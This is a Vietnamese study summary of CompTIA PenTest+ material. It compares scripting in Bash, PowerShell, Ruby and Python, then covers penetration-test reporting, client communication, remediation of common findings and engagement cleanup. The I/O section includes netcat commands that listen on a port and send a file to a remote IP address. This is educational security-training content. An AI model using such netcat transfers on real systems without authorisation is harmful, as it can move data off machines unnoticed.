  • Hạn chế: “Cú pháp khó hiểu này là một trong nhiều lý do khiến các nhà phát triển có xu hướng chuyển sang một ngôn ngữ nâng cao hơn và chỉ sử dụng Bash cho các công việc nhanh chóng và bẩn thỉu.” Bash không có chức năng xử lý lỗi rõ ràng tích hợp sẵn.

2.2 PowerShell

  • Mô tả: Ban đầu được Microsoft thiết kế cho quản trị viên hệ thống Windows, hiện là công cụ mã nguồn mở có sẵn cho Windows, Mac và Linux. Thường liên kết với Windows.
  • Cú pháp “Hello, world!”:Write-Host “Hello, world!”
  • Quy ước tệp: .ps1.
  • Thực thi: Chạy bằng .\hello.ps1. Có thể gặp lỗi do chính sách thực thi mặc định (Restricted). Cần thay đổi chính sách thực thi, ví dụ: Set-ExecutionPolicy RemoteSigned (cần quyền quản trị).
  • Ưu điểm: Hỗ trợ xử lý lỗi mạnh mẽ với khung try..catch.

2.3 Ruby

  • Mô tả: Ngôn ngữ lập trình đa năng, được người kiểm tra thâm nhập sử dụng để tạo mã có thể tái sử dụng. Là ngôn ngữ thông dịch.
  • Cú pháp “Hello, world!”:puts “Hello, world!”
  • Quy ước tệp: .rb.
  • Thực thi: ruby ./hello.rb.
  • Lưu ý: Giống như PowerShell, Ruby có các kiểu biến nhưng tự động đoán kiểu.

2.4 Python

  • Mô tả: “Được cho là ngôn ngữ lập trình phổ biến nhất được các nhà phát triển sử dụng ngày nay.” Ngôn ngữ lập trình đa năng và thông dịch.
  • Cú pháp “Hello, world!”:print(“Hello, world!”)
  • Quy ước tệp: .py.
  • Thực thi: python ./hello.py.
  • Lưu ý quan trọng: “Thụt lề cực kỳ quan trọng trong Python. Mặc dù nhiều ngôn ngữ cho phép bạn thụt lề (hoặc không!) Mã tự do, thụt lề có một mục đích cụ thể trong Python. Nó được sử dụng để nhóm các câu lệnh lại với nhau. Nếu bạn thụt lề không đúng cách, mã của bạn có thể hoạt động theo cách không mong muốn.”

3. Biến, Mảng và Thay thế

  • Biến: Cho phép lưu trữ thông tin trong bộ nhớ bằng tên mô tả. Có thể chứa nhiều loại dữ liệu (số nguyên, số thập phân, Boolean, chuỗi, v.v.). Khi thực thi, trình thông dịch sẽ “thực hiện thay thế, sử dụng giá trị được lưu trữ trong vị trí bộ nhớ của biến đó thay cho tên biến.”Bash: Gán bằng =, tham chiếu bằng $. Không có kiểu biến. Ví dụ: cupcakeprice=2, echo $cupcakeprice. Sử dụng $(()) cho phép tính toán.
  • PowerShell: Đặt trước tên biến bằng $. Tự động đoán kiểu dữ liệu. Ví dụ: $cupcake_price = 2.00, Write-Host $cupcake_price.
  • Ruby: Khai báo đơn giản, truy cập bằng tên biến. Tự động đoán kiểu. Ví dụ: cupcake_price = 2.00, puts cupcake_price.
  • Python: Khai báo đơn giản, tự động chọn kiểu dữ liệu. Không cần $. Ví dụ: cupcake_price = 2.00, print(cupcake_price).
  • Mảng: Cung cấp cách lưu trữ nhiều biến liên quan cùng một lúc.
  • Zero-indexing: “Khi lập trình viên đếm các phần tử trong một mảng, chúng ta thường bắt đầu bằng 0 thay vì 1.” Điều này đúng với cả bốn ngôn ngữ.
  • Bash: Tạo bằng cách đặt dữ liệu trong dấu ngoặc đơn (). Truy cập phần tử mảng trong dấu ngoặc nhọn {}. Ví dụ: ages=(17 16 19), echo ${ages[2]}.
  • PowerShell: Tạo bằng cách cung cấp nhiều giá trị được phân tách bằng dấu phẩy. Truy cập phần tử bằng dấu ngoặc vuông []. Ví dụ: $ages=17,16,19, Write-Host $ages[2].
  • Ruby: Tạo bằng cách đặt danh sách các giá trị được phân tách bằng dấu phẩy trong dấu ngoặc vuông []. Truy cập phần tử bằng chỉ số nguyên trong dấu ngoặc vuông. Ví dụ: ages=[17,16,19], puts ages[2].
  • Python: Xử lý giống hệt Ruby. Ví dụ: ages=[17,16,19], print(ages[2]).

4. Các phép toán so sánh

Các toán tử so sánh được sử dụng để kiểm tra mối quan hệ giữa các giá trị (ví dụ: bằng, nhỏ hơn, lớn hơn).

  • Bash & PowerShell: Sử dụng các toán tử dựa trên từ khóa (ví dụ: -eq, -lt, -le, -gt, -ge, -ne).
  • Ruby & Python: Sử dụng các toán tử biểu tượng (ví dụ: ==, <, <=, >, >=, !=).

5. Thao tác chuỗi

  • Nối chuỗi: Kết hợp hai chuỗi với nhau.
  • Bash: Đơn giản bằng cách đặt các biến cạnh nhau (ví dụ: name=$first$last).
  • PowerShell: Sử dụng toán tử +.
  • Ruby: Sử dụng toán tử +. Yêu cầu chuyển đổi rõ ràng số nguyên thành chuỗi (.to_s).
  • Python: Sử dụng toán tử +. Yêu cầu chuyển đổi rõ ràng số nguyên thành chuỗi (str()).
  • Mã hóa URL (Mã hóa phần trăm): Chuyển đổi các ký tự không an toàn trong URL (ví dụ: khoảng trắng, &) sang dạng khác (ví dụ: %20, %26).
  • Bash: Không cung cấp chức năng tích hợp sẵn.
  • PowerShell: Cung cấp khả năng tích hợp bằng thư viện System.Web ([System.Web.HttpUtility]::UrlEncode($url)).
  • Ruby: Sử dụng hàm CGI.escape từ mô-đun cgi.
  • Python: Sử dụng hàm quote_plus trong thư viện urllib.parse.

6. Kiểm soát luồng

Thay đổi hoạt động của một chương trình. Hai kỹ thuật chính: thực thi có điều kiện và lặp.

6.1 Thực thi có điều kiện (if..then..else)

Cho phép mã thực thi chỉ khi các điều kiện logic nhất định được đáp ứng.

  • Bash: Cú pháp: if [ condition ] then commands elif [ condition ] then commands else commands fi.
  • Lưu ý: Dấu ngoặc vuông cho điều kiện, elif, và fi để kết thúc khối.
  • PowerShell: Cú pháp: if (condition) { commands } elseif (condition) { commands } else { commands }.
  • Lưu ý: Dấu ngoặc đơn cho điều kiện, dấu ngoặc nhọn {} cho khối lệnh, elseif.
  • Ruby: Cú pháp: if condition commands elsif condition commands else commands end.
  • Lưu ý: elsif, end để kết thúc khối.
  • Python: Cú pháp: if condition: commands elif condition: commands else: commands.
  • Lưu ý: Dấu hai chấm : sau mỗi điều kiện logic, thụt lề để nhóm lệnh.

6.2 Vòng lặp (for và while)

Cho phép lặp lại cùng một khối mã nhiều lần.

Vòng lặp For

Lặp lại qua một phạm vi hoặc tập hợp các giá trị.

  • Bash: Cú pháp: for variable in range do commands done.
  • Phạm vi số nguyên tuần tự: {start..finish}.
  • PowerShell: Cú pháp: for (start, test, increment) { commands }.
  • Ruby: Cú pháp: for variable in range do commands end.
  • Python: Cú pháp: for variable in range: commands.
  • Lưu ý: range bao gồm giá trị bắt đầu nhưng không bao gồm giá trị kết thúc (ví dụ: range(0,256) sẽ chạy từ 0 đến 255).
Vòng lặp While

Lặp lại cho đến khi một điều kiện không còn đúng nữa.

  • Bash: Cú pháp: while [ condition ] do code statements done.
  • PowerShell: Cú pháp: Do { code statements } While(condition).
  • Lưu ý: Điều kiện while xuất hiện ở cuối câu lệnh vòng lặp.
  • Ruby: Cú pháp: while condition code statements end.
  • Python: Cú pháp: while condition: code statements.

Xác định ngôn ngữ của vòng lặp for và while: Sơ đồ nhận dạng ngôn ngữ cho cả vòng lặp for và while có các bài kiểm tra tương tự nhau:

  • Chứa câu lệnh end? (Ruby)
  • Chứa câu lệnh done? (Bash)
  • Chứa dấu ngoặc nhọn {}? (PowerShell)
  • Chứa dấu hai chấm 😕 (Python)

7. Nhập và xuất (I/O)

  • Chuyển hướng đầu vào/đầu ra chuẩn:>: Ghi đè đầu ra vào một tệp. Ví dụ: python password.py > password_output.txt.
  • >>: Nối đầu ra vào cuối tệp. Ví dụ: python password.py >> password_output.txt.
  • <: Gửi nội dung tệp làm đầu vào cho chương trình. Ví dụ: python password.py < wordlist.txt.
  • | (pipe): Gửi đầu ra của một chương trình làm đầu vào cho chương trình khác. Ví dụ: python nmapweekday.py | grep http.
  • Đầu vào/Đầu ra mạng: Sử dụng lệnh nc (netcat).
  • Lắng nghe đầu vào trên một cổng và ghi vào tệp: nc -l 8080 > web_input.txt.
  • Gửi tệp đến một vị trí từ xa: nc 192.168.1.1 1234 <web_input.txt.

8. Xử lý lỗi

Ngăn chặn chương trình bị lỗi khi có đầu vào không mong muốn hoặc các tình huống lỗi khác. Hầu hết các ngôn ngữ hiện đại sử dụng cấu trúc try..catch.

  • Bash: “Bash không cung cấp chức năng xử lý lỗi rõ ràng.” Các nhà phát triển phải tự viết các quy trình xử lý lỗi bằng cách sử dụng các mệnh đề thực thi có điều kiện.
  • PowerShell: Hỗ trợ xử lý lỗi mạnh mẽ bằng khung try..catch. Cú pháp: try { some commands } catch { other commands executed only if there is an error }.
  • Ruby: Sử dụng khung try..catch với từ khóa begin và rescue. Cú pháp: begin commands rescue error_handling_commands end.
  • Python: Sử dụng khung try..except. Cú pháp: try: commands except: error_handling_commands.

Tóm tắt chung

Tài liệu nhấn mạnh rằng việc viết kịch bản giúp giảm bớt “công việc lặp đi lặp lại tẻ nhạt của thử nghiệm thâm nhập.” Đối với kỳ thi PenTest+, người kiểm tra cần có “mức độ kiến thức cơ bản để ‘phân tích một tập lệnh cơ bản’” trong Bash, PowerShell, Ruby hoặc Python. Sau kỳ thi, người kiểm tra nên tiếp tục mở rộng kỹ năng kịch bản của mình để nâng cao bộ công cụ thử nghiệm thâm nhập.

Chương 12 : Báo Cáo Và Giao Tiếp Kiểm Thâm Nhập

1. Mục Đích và Tầm Quan Trọng của Kiểm Tra Thâm Nhập

Mục đích cốt lõi của một bài kiểm tra thâm nhập là “cách hiệu quả nhất để một tổ chức có được một bức tranh hoàn chỉnh về lỗ hổng bảo mật của mình.” (trích từ chương 12). Nó giúp các tổ chức đánh giá khả năng phòng thủ bảo mật của họ bằng cách mô phỏng các cuộc tấn công của tin tặc mũ trắng.

2. Tầm Quan Trọng Hàng Đầu của Giao Tiếp

Giao tiếp là “mạch máu của một bài kiểm tra thâm nhập.” (trích từ chương 12).

  • Duy trì Phạm Vi và Kỳ Vọng: Giao tiếp mở giúp người kiểm tra đảm bảo họ tuân thủ các quy tắc tham gia và đáp ứng kỳ vọng của khách hàng.
  • Nhận Thức Tình Huống: Giúp người kiểm tra duy trì nhận thức về bối cảnh kinh doanh của khách hàng, cho phép điều chỉnh kế hoạch kiểm tra nếu cần (ví dụ: trong trường hợp đột biến kinh doanh).
  • Giải Quyết Vấn Đề: Giao tiếp sớm và thường xuyên giúp tránh hoặc giảm thiểu các vấn đề phát sinh trong quá trình kiểm tra.

2.1. Xác Định Lộ Trình Giao Tiếp

  • Người kiểm tra nên xác định rõ ràng lộ trình giao tiếp trong giai đoạn lập kế hoạch.
  • Bảo Mật Kết Quả: Giúp người kiểm tra từ chối yêu cầu thông tin tạm thời bằng cách trích dẫn các điều khoản hợp đồng giữ bí mật cho đến báo cáo cuối cùng.
  • Nhịp Điệu Giao Tiếp Thường Xuyên: Thiết lập các cuộc họp định kỳ (hàng ngày hoặc hàng tuần tùy thuộc vào thời gian cam kết) với các bên liên quan chính để cập nhật tiến độ và thảo luận các vấn đề.

2.2. Các Yếu Tố Kích Hoạt Giao Tiếp Khẩn Cấp

Bên cạnh lịch trình định kỳ, cần có các “yếu tố kích hoạt giao tiếp được phác thảo rõ ràng” (trích từ chương 12) để thông báo ngay lập tức cho ban quản lý. Chúng bao gồm:

  • Hoàn Thành Giai Đoạn Thử Nghiệm: Đánh dấu sự hoàn thành một giai đoạn và bắt đầu giai đoạn tiếp theo.
  • Phát Hiện Một Phát Hiện Quan Trọng: Nếu phát hiện ra vấn đề bảo mật nghiêm trọng, không nên chờ báo cáo cuối cùng để thông báo vì nó có thể đặt tổ chức vào rủi ro không thể chấp nhận được.
  • Phát Hiện Các Chỉ Số Về Thỏa Hiệp Trước Đó: Nếu người kiểm tra phát hiện bằng chứng về sự xâm phạm đang diễn ra hoặc trong quá khứ, họ phải thông báo ngay lập tức và khuyến nghị kích hoạt quy trình ứng phó sự cố an ninh mạng.

2.3. Tái Định Hướng Mục Tiêu

  • Mục tiêu kiểm tra có thể thay đổi trong quá trình thực hiện do thông tin mới phát hiện.
  • Sự tái định hướng này là chấp nhận được nhưng cần có sự “đóng góp và đồng tình của các bên liên quan” (trích từ chương 12) đã phê duyệt các quy tắc tham gia và ưu tiên ban đầu.

3. Đề Xuất Chiến Lược Giảm Thiểu (Khắc Phục)

Người kiểm tra thâm nhập có vị trí độc đáo để đề xuất các giải pháp khắc phục vì họ hiểu rõ các sai sót đã khai thác. Các biện pháp khắc phục được phân loại thành ba loại chính:

  • Con Người (People): Tập trung vào việc nâng cao nhận thức và đào tạo nhân viên để chống lại các cuộc tấn công như kỹ thuật xã hội (ví dụ: chiến dịch nâng cao nhận thức về các yêu cầu chuyển khoản qua email).
  • Quy Trình (Process): Triển khai các quy trình nghiệp vụ mới hoặc sửa đổi để bảo vệ khỏi các cuộc tấn công thông thường (ví dụ: quy trình phê duyệt chuyển khoản ngân hàng cụ thể).
  • Công Nghệ (Technology): Áp dụng các biện pháp kiểm soát công nghệ như lọc nội dung email để chặn các thư độc hại hoặc không xác thực.
  • Giải pháp phòng thủ chuyên sâu thường kết hợp các biện pháp kiểm soát chồng chéo từ nhiều hơn một danh mục.

3.1. Các Phát Hiện Phổ Biến và Chiến Lược Khắc Phục Được CompTIA Ưu Tiên

Bài kiểm tra CompTIA PenTest+ đề cập cụ thể đến các chiến lược khắc phục cho sáu phát hiện phổ biến:

  • Thông Tin Đăng Nhập Quản Trị Viên Cục Bộ Được Chia Sẻ:
  • Vấn đề: Thiếu trách nhiệm giải trình và rủi ro cao do đặc quyền nâng cao. Các nhóm CNTT thường dùng một mật khẩu mặc định duy nhất cho tất cả các tài khoản này.
  • Khắc phục: Ngẫu nhiên hóa mật khẩu quản trị viên, đặt chúng thành mật khẩu mạnh, phức tạp, duy nhất trên mỗi hệ thống. Sử dụng công cụ quản lý mật khẩu (ví dụ: Microsoft Local Administrator Password Solution – LAPS) để theo dõi và quản lý. Mật khẩu không nên được con người biết mà chỉ được truy cập khẩn cấp qua công cụ và thay đổi ngay sau khi sử dụng.
  • Độ Phức Tạp Mật Khẩu Yếu:
  • Vấn đề: Mật khẩu yếu dễ bị bẻ khóa bằng các cuộc tấn công vét cạn hoặc từ các tệp băm bị đánh cắp. Ví dụ điển hình là vụ vi phạm dữ liệu của Target năm 2013, nơi 86% mật khẩu người dùng và 34% tài khoản quản trị viên bị bẻ khóa do chính sách mật khẩu không được tuân thủ và sử dụng các từ cơ bản phổ biến (ví dụ: “target”, “sto$res”).
  • Khắc phục: Thiết lập các chính sách kỹ thuật với yêu cầu mật khẩu tối thiểu về độ dài và thành phần. Sử dụng bộ lọc mật khẩu để xác minh khi người dùng đặt hoặc thay đổi mật khẩu.
  • Mật Khẩu Văn Bản Thuần Túy:
  • Vấn đề: Lưu trữ mật khẩu dưới dạng văn bản thuần túy trên máy chủ (ví dụ: trong tệp hoặc cơ sở dữ liệu) làm tăng nguy cơ bị truy cập bởi kẻ tấn công đã xâm nhập hệ thống. Nguy hiểm hơn, người dùng thường tái sử dụng mật khẩu trên nhiều hệ thống, làm lộ thông tin nhạy cảm khác.
  • Khắc phục: Luôn lưu trữ mật khẩu ở dạng mã hóa hoặc băm.
  • Không Xác Thực Đa Yếu Tố (MFA):
  • Vấn đề: Chỉ dựa vào mật khẩu là rủi ro nghiêm trọng vì chúng dễ bị học hỏi.
  • Khắc phục: Triển khai MFA cho thông tin nhạy cảm và tài nguyên quan trọng. MFA kết hợp hai hoặc nhiều cơ chế xác thực từ các danh mục khác nhau:
  • Something you know (Cái gì đó bạn biết): Mật khẩu, mã PIN.
  • Something you have (Cái gì đó bạn có): Mã thông báo xác thực vật lý, ứng dụng điện thoại thông minh (ví dụ: Duo).
  • Something you are (Cái gì đó của bạn): Sinh trắc học (vân tay, nhận dạng khuôn mặt, giọng nói).
  • Lưu ý: Hai kỹ thuật từ cùng một yếu tố (ví dụ: mật khẩu và mã PIN) không đủ điều kiện là MFA.
  • SQL Injection:
  • Vấn đề: Lỗ hổng phổ biến trong các ứng dụng web động, cho phép kẻ tấn công đọc và/hoặc sửa đổi toàn bộ nội dung cơ sở dữ liệu hỗ trợ ứng dụng.
  • Khắc phục: Khử trùng đầu vào của người dùng (xác thực đầu vào) và truy vấn tham số hóa.
  • Các Dịch Vụ Mở Không Cần Thiết:
  • Vấn đề: Các dịch vụ không cần thiết chạy trên máy chủ làm tăng bề mặt tấn công và có thể trở nên lỗi thời, không được vá.
  • Khắc phục: Làm cứng hệ thống bằng cách phân tích và tắt tất cả các dịch vụ không cần thiết khi cấu hình ban đầu và định kỳ.

4. Viết Báo Cáo Kiểm Tra Thâm Nhập

Báo cáo bằng văn bản là sản phẩm cuối cùng quan trọng, cung cấp lộ trình khắc phục cho ban quản lý và là bằng chứng về việc hoàn thành kiểm tra.

4.1. Cấu Trúc Báo Cáo

Một cấu trúc chung bao gồm các phần theo thứ tự sau:

  • Tóm Tắt Điều Hành (Executive Summary):
  • Phần quan trọng nhất, thường là phần duy nhất mà nhiều người sẽ đọc.
  • Viết cho các giám đốc điều hành, không nhất thiết là nhà công nghệ. Sử dụng ngôn ngữ đơn giản, mô tả rủi ro đối với doanh nghiệp theo các thuật ngữ mà một giám đốc điều hành sẽ hiểu.
  • Giữ ngắn gọn, chỉ vài trang. “Không phải là nơi để tìm hiểu các chi tiết kỹ thuật của phương pháp thử nghiệm thâm nhập của bạn.” (trích từ chương 12).
  • Nên là phần cuối cùng được viết sau khi hoàn thành các phần khác của báo cáo.
  • Phát Hiện và Khắc Phục (Findings and Remediations):
  • Là “thịt và khoai tây” của báo cáo.
  • Mô tả chi tiết các vấn đề bảo mật đã phát hiện và đưa ra các đề xuất cụ thể về cách khắc phục chúng để giảm rủi ro an ninh mạng. Bao gồm mức độ nghiêm trọng, địa chỉ IP, tên ứng dụng, biến có lỗ hổng, quyền truy cập đạt được, ví dụ URL để tái tạo rủi ro và khuyến nghị khắc phục cụ thể.
  • Phương Pháp Luận (Methodology):
  • Cơ hội để đi sâu vào các chi tiết kỹ thuật: các loại kiểm tra đã thực hiện, công cụ đã sử dụng và các quan sát.
  • Đối tượng là các nhà công nghệ. Cung cấp đủ thông tin để họ tin tưởng vào chất lượng kiểm tra và hiểu cách tiếp cận công việc.
  • Không bao gồm danh sách mã dài dòng hoặc báo cáo quét nhàm chán trong phần chính; nên đặt chúng vào phụ lục.
  • Kết Luận (Conclusion):
  • Tổng hợp mọi thứ một cách gọn gàng.
  • Tóm tắt kết luận và đưa ra khuyến nghị cho công việc trong tương lai (ví dụ: kiểm tra ứng dụng web nếu không nằm trong phạm vi ban đầu).
  • Có thể bao gồm số liệu và thước đo để đặt thông tin vào bối cảnh rủi ro của tổ chức so với các nhóm đồng cấp hoặc mức độ rủi ro chung.
  • So sánh xếp hạng rủi ro được xác định với khẩu vị rủi ro của tổ chức, thừa nhận rằng không phải mọi rủi ro đều cần được giải quyết ngay lập tức.

4.2. Xử Lý An Toàn Báo Cáo

  • Báo cáo kiểm tra thâm nhập chứa thông tin cực kỳ nhạy cảm có thể “đóng vai trò như một bản đồ chỉ đường cho những kẻ tấn công” (trích từ chương 12).
  • Phải được truyền và lưu trữ ở dạng mã hóa. Các bản sao giấy phải được giữ kín và khóa.
  • Các bản sao phải được hủy một cách an toàn khi không còn cần thiết.
  • Thỏa thuận kiểm tra nên quy định rõ ràng thời gian lưu trữ báo cáo; người kiểm tra chỉ nên giữ lại báo cáo đủ lâu để trả lời câu hỏi của khách hàng, sau đó xóa an toàn.

5. Kết Thúc Cam Kết (Wrapping Up the Engagement)

Việc gửi báo cáo không phải là kết thúc công việc của người kiểm tra. Các hoạt động sau kiểm tra rất quan trọng:

  • Dọn Dẹp Sau Cam Kết (Post-Engagement Cleanup):
  • Loại bỏ mọi dấu vết của công việc kiểm tra thâm nhập để khôi phục hệ thống về trạng thái ban đầu.
  • Các hoạt động chính theo CompTIA:
  • Tháo các vỏ được lắp đặt.
  • Xóa tài khoản, thông tin đăng nhập hoặc cửa hậu do người kiểm tra tạo.
  • Tháo bất kỳ công cụ nào đã cài đặt.
  • Ngoại lệ là các thay đổi khẩn cấp để khắc phục lỗ hổng nghiêm trọng, cần phối hợp với ban quản lý.
  • Chấp Nhận của Khách Hàng (Client Acceptance):
  • Nhận được sự chấp nhận chính thức bằng văn bản đối với các sản phẩm. Thường bao gồm một cuộc họp trực tiếp để thảo luận kết quả và trả lời câu hỏi.
  • Đánh dấu sự kết thúc chính thức của cam kết và xác nhận người kiểm tra đã hoàn thành phạm vi công việc đã thỏa thuận.
  • Bài Học Kinh Nghiệm (Lessons Learned):
  • Buổi họp nội bộ nhóm để thảo luận về quy trình và kết quả kiểm tra mà không có sự hiện diện của khách hàng.
  • Cơ hội để nói chuyện cởi mở, đề xuất cải tiến và làm nổi bật các kỹ thuật thành công có thể áp dụng trong tương lai.
  • Có thể hữu ích khi có một bên thứ ba trung lập kiểm duyệt để cung cấp quan điểm khách quan.
  • Hành Động Theo Dõi/Kiểm Tra Lại (Follow-Up Actions/Retesting):
  • Khách hàng có thể yêu cầu kiểm tra bổ sung hoặc kiểm tra lại các lỗ hổng đã được khắc phục để xác minh hiệu quả.
  • Người kiểm tra nên đánh giá mức độ chính thức cần thiết. Kiểm tra lại nhanh chóng có thể miễn phí, nhưng công việc quan trọng hoặc thay đổi phạm vi có thể yêu cầu quy trình lập kế hoạch mới.
  • Chứng Thực Các Phát Hiện (Attestation of Findings):
  • Nếu kiểm tra được thực hiện cho mục đích tuân thủ quy định hoặc hợp đồng, khách hàng có thể yêu cầu người kiểm tra chuẩn bị chứng thực chính thức về công việc và phát hiện của họ.
  • Mức độ chi tiết có thể khác nhau, từ một lá thư xác nhận ngắn gọn đến danh sách các phát hiện rủi ro cao và xác nhận đã khắc phục thành công.